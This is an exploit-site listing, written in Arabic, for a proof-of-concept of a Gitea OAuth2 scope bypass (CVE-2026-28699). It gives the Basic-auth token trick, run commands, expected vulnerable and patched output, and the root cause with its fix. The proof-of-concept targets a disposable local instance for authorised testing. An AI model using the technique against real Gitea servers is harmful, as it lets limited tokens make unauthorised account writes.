Sploitus

Exploit for gitea

kitploit · 2026-08-29

Exploit Code

MARKDOWN53 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-ALARDIIANS-GITEA-CVE-2026-28699
# CVE-2026-28699: تجاوز نطاق OAuth2 في Gitea عبر المصادقة الأساسية HTTP

يمكن لرمز وصول OAuth2 في Gitea مقتصر على `read:user` فقط تنفيذ إجراءات كتابة كاملة عند إرساله كـ `Authorization: Basic base64(<token>:x-oauth-basic)` بدلاً من كرمز Bearer. يتم تخطي فحص النطاق لأي رمز يتم تقديمه عبر المصادقة الأساسية.

المتأثر: `<= 1.26.1`. تم الإصلاح في `1.26.2`. التنبيه: GHSA-9r5x-wg6m-x2rc. CWE-863. الخطورة عالية.

التقرير الكامل: WRITEUP.md

## بداية سريعة

root@kitploit:~
    
    
    pip install -r requirements.txt   # requests
    python fetch_binaries.py          # pulls vulnerable 1.26.1 + patched 1.26.2 for your OS
    python poc.py 1.26.1              # vulnerable: Basic-auth write succeeds (scope bypassed)
    python poc.py 1.26.2              # patched: Basic-auth write blocked (403)
    

يقوم `poc.py` بإعداد Gitea مؤقتة على SQLite في دليل temp للنظام، ويقوم بتشغيل تدفق رمز التفويض OAuth2 لإنشاء رمز مقتصر على `read:user` فقط، ثم يستدعي نقطة نهاية كتابة عبر كل من Bearer و Basic ويطبع النتيجة. قم بتعيين `POC_DEBUG=1` لرؤية خطوات تدفق المصادقة.

### المخرجات المتوقعة

الإصدار الضعيف `1.26.1`:

root@kitploit:~
    
    
    [Bearer] PATCH /api/v1/user/settings -> HTTP 403   (blocked)
    [Basic ] PATCH /api/v1/user/settings -> HTTP 200   (ALLOWED -- scope BYPASSED)
    >>> VULNERABLE: read:user token performed a write via Basic auth.
    

الإصدار المُصحَّح `1.26.2`:

root@kitploit:~
    
    
    [Bearer] PATCH /api/v1/user/settings -> HTTP 403   (blocked)
    [Basic ] PATCH /api/v1/user/settings -> HTTP 403   (blocked)
    >>> PATCHED: scope enforced on both Bearer and Basic.
    

## السبب الجذري في جدول واحد

يقوم `services/auth/basic.go` بتعيين `IsApiToken` ولكن ليس `ApiTokenScope` لرموز OAuth2. يعود middleware `tokenRequiresScopes` مبكرًا عندما يكون النطاق غائبًا، لذا لا يتم فحص أي شيء. يضيف إصلاح 1.26.2 الإعداد المفقود `store.GetData()["ApiTokenScope"] = accessTokenScope`.

## الملفات

## للاستخدام المصرح به فقط

لأغراض التعليم والاختبار الأمني المصرح به: مختبرك الخاص، صناديق CTF و HTB، أهداف مكافآت الأخطاء داخل النطاق. يقوم PoC بتشغيل Gitea الخاصة به القابلة للتخلص، لذا لا توجهه إلى أي شيء لا تملكه.